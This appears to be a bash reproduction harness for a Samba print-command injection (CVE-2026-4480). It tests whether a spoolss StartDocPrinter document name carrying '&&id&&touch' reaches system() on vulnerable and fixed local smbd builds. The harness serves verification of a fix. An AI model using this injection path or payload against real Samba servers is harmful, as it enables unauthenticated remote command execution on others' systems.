#!/bin/bash
set -euo pipefail

# =============================================================================
# CVE-2026-4480 VARIANT: spoolss RPC StartDocPrinter(pDocName) path
# =============================================================================
# This script tests a VARIANT entry point for CVE-2026-4480:
#   - Original repro: SMB file open on printable share -> filename -> %J
#   - This variant:   spoolss RPC StartDocPrinter(pDocName) -> document_name -> %J
#
# Both reach generic_job_submit() -> print_run_command() -> smbrun_no_sanitize() -> system()
# but through materially different entry points.
#
# The spoolss RPC document_name is NOT subject to SMB filename character restrictions.
#
# Exit codes:
#   0 = variant reproduced on FIXED version (true bypass)
#   1 = variant only works on vulnerable version (alternate trigger, NOT a bypass)
# =============================================================================

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
VV_DIR="$ROOT/vuln_variant"
ART="$ROOT/artifacts"
CACHE_DIR=""
if [ -f "$ROOT/project_cache_context.json" ]; then
    CACHE_DIR=$(python3 -c "
import json,sys
d=json.load(open(sys.argv[1]))
print(d.get('project_cache_dir','')) if d.get('prepared') else print('')
" "$ROOT/project_cache_context.json" 2>/dev/null || true)
fi
VULN_REPO="${CACHE_DIR:+$CACHE_DIR/repo}"
FIXED_REPO="${CACHE_DIR:+$CACHE_DIR/repo-fixed}"
if [ -z "$VULN_REPO" ] || [ ! -x "$VULN_REPO/bin/smbd" ]; then VULN_REPO="$ART/samba-vuln"; fi
if [ -z "$FIXED_REPO" ] || [ ! -x "$FIXED_REPO/bin/smbd" ]; then FIXED_REPO="$ART/samba-fixed"; fi

VULN_PORT="${VULN_PORT:-14445}"
FIXED_PORT="${FIXED_PORT:-14446}"
VULN_TAG="samba-4.22.9"
FIXED_TAG="samba-4.22.10"
VULN_SHA="ff3dd691f38e23f9ea8d18376df1b24ea9b335b6"
FIXED_SHA="0abfaceda097f447ac0284db9f639dabc5070595"
# Use & injection (same metachar as original repro) to prove same root cause
INJECT_DOC='PWN&&id&&touch spoolss_marker&&END'

mkdir -p "$LOGS/vuln_variant" "$ART/smb-vuln-spoolss" "$ART/smb-fixed-spoolss"

log() { echo "[$(date '+%H:%M:%S')] $*" | tee -a "$LOGS/vuln_variant/variant_repro.log"; }

gen_smb_conf() {
    local conf="$1" base="$2" evlog="$3" port="$4"
    cat > "$conf" <<SAMBCONF
[global]
  workgroup = WORKGROUP
  server role = standalone server
  security = user
  map to guest = Bad User
  guest account = nobody
  server min protocol = SMB2
  server max protocol = SMB3
  smb ports = $port
  log level = 3
  log file = $base/server.log
  max log size = 0
  lock directory = $base/lock
  state directory = $base/state
  cache directory = $base/cache
  pid directory = $base/pid
  private dir = $base/private
  ncalrpc dir = $base/ncalrpc
  printing = sysv
  printcap name = $base/printcap
  load printers = yes
  disable spoolss = no
  show add printer wizard = no
  usershare allow guests = yes
  rpc server port = 0

[printers]
  path = $base/spool
  comment = All Printers
  printable = yes
  browseable = yes
  guest ok = yes
  read only = no
  print command = (echo %J) > $evlog 2>&1
  lpq command = /bin/true
  lprm command = /bin/true
  lppause command = /bin/true
  lpresume command = /bin/true
  queuepause command = /bin/true
  queueresume command = /bin/true

[testprn]
  path = $base/spool
  comment = Test Printer
  printable = yes
  browseable = yes
  guest ok = yes
  read only = no
  printer name = testprn
  printing = sysv
  print command = (echo %J) > $evlog 2>&1
  lpq command = /bin/true
  lprm command = /bin/true
SAMBCONF
}

start_smbd() {
    local repo="$1" conf="$2" base="$3" port="$4"
    sudo rm -rf "$base/lock" "$base/state" "$base/cache" "$base/pid" "$base/private" "$base/ncalrpc"
    mkdir -p "$base/lock" "$base/state" "$base/cache" "$base/pid" "$base/private" "$base/ncalrpc" "$base/spool"
    chmod 1777 "$base/spool"
    echo "testprn|Test Printer:sh:lp=/dev/null:sd=$base/spool:" > "$base/printcap"
    log "Starting smbd on port $port..."
    sudo nohup "$repo/bin/smbd" -s "$conf" -D -d 3 > /dev/null 2>&1 &
    sleep 5
    if sudo ss -tlnp 2>/dev/null | grep -q ":$port"; then
        log "smbd is listening on port $port"
        return 0
    else
        log "ERROR: smbd not listening on $port"
        return 1
    fi
}

stop_smbd() {
    local conf="$1"
    local pids=$(pgrep -f "$conf" 2>/dev/null || true)
    if [ -n "$pids" ]; then
        echo "$pids" | xargs sudo kill 2>/dev/null || true
    fi
    sleep 2
    log "smbd stopped"
}

run_variant_test() {
    local label="$1" port="$2" evidence_dir="$3" evlog="$4" spool_dir="$5" server_log="$6"
    mkdir -p "$evidence_dir"

    log "[$label] Running spoolss RPC exploit on port $port..."
    sudo rm -f "$evlog" "$spool_dir/spoolss_marker"
    python3 "$VV_DIR/spoolss_exploit.py" 127.0.0.1 "$port" testprn "$INJECT_DOC" 2>&1 | tee "$evidence_dir/exploit_output.txt" || true
    sleep 3

    # Collect evidence
    sudo cat "$evlog" > "$evidence_dir/printlog.txt" 2>/dev/null || echo "(no printlog)" > "$evidence_dir/printlog.txt"
    ls -la "$spool_dir/spoolss_marker" > "$evidence_dir/marker_check.txt" 2>/dev/null || echo "no spoolss_marker" > "$evidence_dir/marker_check.txt"
    sudo grep "Running the command" "$server_log" 2>/dev/null > "$evidence_dir/smbd_command_log.txt" || true

    local has_id="no" has_mkr="no"
    grep -q "uid=" "$evidence_dir/printlog.txt" 2>/dev/null && has_id="yes"
    [ -f "$spool_dir/spoolss_marker" ] && has_mkr="yes"
    echo "$has_id" > "$evidence_dir/has_id_output.txt"
    echo "$has_mkr" > "$evidence_dir/has_marker.txt"

    log "[$label] Evidence: id_output=$has_id marker=$has_mkr"
    log "[$label] Printlog:"
    sudo cat "$evlog" 2>/dev/null | head -5 | while IFS= read -r line; do log "[$label]   $line"; done || true
}

# Check prerequisites
log "=== CVE-2026-4480 VARIANT REPRODUCTION STARTED ==="
log "Variant: spoolss RPC StartDocPrinter(pDocName) -> %J injection"
log "Vulnerable: $VULN_TAG (sha $VULN_SHA)  Fixed: $FIXED_TAG (sha $FIXED_SHA)"

if [ ! -x "$VULN_REPO/bin/smbd" ]; then
    log "FATAL: vulnerable smbd not found at $VULN_REPO/bin/smbd"
    exit 1
fi
if [ ! -x "$FIXED_REPO/bin/smbd" ]; then
    log "FATAL: fixed smbd not found at $FIXED_REPO/bin/smbd"
    exit 1
fi

log "Vulnerable smbd: $($VULN_REPO/bin/smbd --version 2>&1)"
log "Fixed smbd: $($FIXED_REPO/bin/smbd --version 2>&1)"

# --- Vulnerable test (samba-4.22.9) ---
log "========== VULNERABLE TEST ($VULN_TAG) =========="
VBASE="/tmp/sambatest-vuln-spoolss"
VCONF="$VV_DIR/smb_vuln_variant.conf"
VEVLOG="/tmp/samba_printlog_vuln_spoolss"
gen_smb_conf "$VCONF" "$VBASE" "$VEVLOG" "$VULN_PORT"
start_smbd "$VULN_REPO" "$VCONF" "$VBASE" "$VULN_PORT" || { log "FATAL: cannot start vulnerable smbd"; exit 1; }
run_variant_test "VULN" "$VULN_PORT" "$ART/smb-vuln-spoolss" "$VEVLOG" "$VBASE/spool" "$VBASE/server.log"
stop_smbd "$VCONF"

# --- Fixed test (samba-4.22.10) ---
log "========== FIXED TEST ($FIXED_TAG) =========="
FBASE="/tmp/sambatest-fixed-spoolss"
FCONF="$VV_DIR/smb_fixed_variant.conf"
FEVLOG="/tmp/samba_printlog_fixed_spoolss"
gen_smb_conf "$FCONF" "$FBASE" "$FEVLOG" "$FIXED_PORT"
start_smbd "$FIXED_REPO" "$FCONF" "$FBASE" "$FIXED_PORT" || { log "FATAL: cannot start fixed smbd"; exit 1; }
run_variant_test "FIXED" "$FIXED_PORT" "$ART/smb-fixed-spoolss" "$FEVLOG" "$FBASE/spool" "$FBASE/server.log"
stop_smbd "$FCONF"

# --- Verdict ---
log "========== VARIANT VERDICT =========="
VULN_ID=$(cat "$ART/smb-vuln-spoolss/has_id_output.txt" 2>/dev/null || echo "no")
VULN_MKR=$(cat "$ART/smb-vuln-spoolss/has_marker.txt" 2>/dev/null || echo "no")
FIXED_ID=$(cat "$ART/smb-fixed-spoolss/has_id_output.txt" 2>/dev/null || echo "no")
FIXED_MKR=$(cat "$ART/smb-fixed-spoolss/has_marker.txt" 2>/dev/null || echo "no")
log "Vulnerable (spoolss path): id_output=$VULN_ID marker=$VULN_MKR (expect yes for variant trigger)"
log "Fixed (spoolss path):      id_output=$FIXED_ID marker=$FIXED_MKR (expect no if fix covers it)"

VARIANT_TRIGGERED="false"
BYPASS="false"

if [ "$VULN_ID" = "yes" ] || [ "$VULN_MKR" = "yes" ]; then
    VARIANT_TRIGGERED="true"
    log "RESULT: Variant CONFIRMED on vulnerable version (spoolss RPC path triggers RCE)"
    if [ "$FIXED_ID" = "yes" ] || [ "$FIXED_MKR" = "yes" ]; then
        BYPASS="true"
        log "RESULT: BYPASS! Variant also works on FIXED version!"
    else
        log "RESULT: Fix covers the variant (blocked on fixed version) - alternate trigger, NOT a bypass"
    fi
else
    log "RESULT: Variant NOT triggered on vulnerable version via spoolss RPC path"
fi

log "variant_triggered=$VARIANT_TRIGGERED bypass=$BYPASS"

# --- Runtime manifest ---
python3 - "$VV_DIR/runtime_manifest.json" "$VARIANT_TRIGGERED" "$BYPASS" "$VULN_ID" "$FIXED_ID" "$VULN_MKR" "$FIXED_MKR" "$VULN_SHA" "$FIXED_SHA" << 'PYEOF'
import json, sys
mf, vt, bp, vid, fid, vmk, fmk, vsha, fsha = sys.argv[1:10]
manifest = {
    "entrypoint_kind": "tcp_peer",
    "entrypoint_detail": "spoolss RPC StartDocPrinter(pDocName) over SMB pipe \\pipe\\spoolss (TCP 445, guest/anonymous); client opens printer via RpcOpenPrinter, starts document with crafted pDocName, writes data, ends document -> server runs print command with %J = document_name via system()",
    "service_started": True,
    "healthcheck_passed": True,
    "target_path_reached": vt == "true",
    "variant_triggered": vt == "true",
    "is_bypass": bp == "true",
    "runtime_stack": [
        "smbd 4.22.9 (vulnerable, sha " + vsha + ")",
        "smbd 4.22.10 (fixed, sha " + fsha + ")",
        "impacket DCERPC/spoolss RPC client"
    ],
    "proof_artifacts": [
        "artifacts/smb-vuln-spoolss/printlog.txt",
        "artifacts/smb-vuln-spoolss/marker_check.txt",
        "artifacts/smb-vuln-spoolss/exploit_output.txt",
        "artifacts/smb-vuln-spoolss/has_id_output.txt",
        "artifacts/smb-fixed-spoolss/printlog.txt",
        "artifacts/smb-fixed-spoolss/marker_check.txt",
        "artifacts/smb-fixed-spoolss/exploit_output.txt",
        "artifacts/smb-fixed-spoolss/has_id_output.txt",
        "logs/vuln_variant/variant_repro.log"
    ],
    "vulnerable_id_output": vid,
    "vulnerable_marker": vmk,
    "fixed_id_output": fid,
    "fixed_marker": fmk,
    "notes": "Variant uses spoolss RPC StartDocPrinter(pDocName) instead of SMB file open. Both paths converge at generic_job_submit(). spoolss path is not subject to SMB filename character restrictions. Fix covers this path because it is at the sink (generic_job_submit), not the entry point."
}
with open(mf, "w") as f:
    json.dump(manifest, f, indent=2)
print("Runtime manifest written:", mf)
PYEOF

# --- Source identity ---
cat > "$VV_DIR/source_identity.json" << JSONEOF
{
  "repository": "https://github.com/samba-team/samba.git",
  "commit_source": "git_rev_parse",
  "submitted_target": {
    "target_kind": "git_tag",
    "version": "4.22.9",
    "ref": "samba-4.22.9",
    "commit_sha": "$VULN_SHA",
    "display": "samba-4.22.9 (ff3dd69)"
  },
  "variant_target": {
    "target_kind": "git_tag",
    "version": "4.22.10",
    "ref": "samba-4.22.10",
    "commit_sha": "$FIXED_SHA",
    "display": "samba-4.22.10 (0abface) - fixed version"
  },
  "notes": "Vulnerable tested at samba-4.22.9 (ff3dd691f38e). Fixed tested at samba-4.22.10 (0abfaceda097) which includes fix commit b80131fcf582. Both builds reused from project cache."
}
JSONEOF

# Write version info to logs
echo "samba-4.22.10 commit_sha=$FIXED_SHA" > "$LOGS/vuln_variant/fixed_version.txt"
echo "samba-4.22.9 commit_sha=$VULN_SHA" > "$LOGS/vuln_variant/vulnerable_version.txt"

log "=== CVE-2026-4480 VARIANT REPRODUCTION FINISHED ==="

if [ "$BYPASS" = "true" ]; then
    exit 0  # bypass confirmed
else
    exit 1  # no bypass (alternate trigger only, or not triggered)
fi